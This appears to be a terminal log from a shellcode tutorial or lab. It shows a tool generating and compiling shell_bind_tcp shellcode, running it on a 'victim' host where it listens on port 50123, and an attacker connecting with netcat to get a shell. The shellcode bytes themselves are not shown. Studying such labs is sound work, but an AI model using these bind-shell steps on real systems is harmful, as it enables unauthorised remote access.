 [+] Generating shellcode.c file with the shell_bind_tcp shellcode ...
 [+] Compiling shellcode.c with GCC ...
 [+] All done! You can run the shellcode now: 
$ ./shellcode


1. Run the shellcode on the victim machine

victim $ ./shellcode 
Shellcode Length:  141

victim # netstat --inet -apn |grep shellcode
tcp        0      0 0.0.0.0:50123               0.0.0.0:*                   LISTEN      982/./shellcode


2. Attacker can now connect and get the shell

attacker $ nc localhost 50123
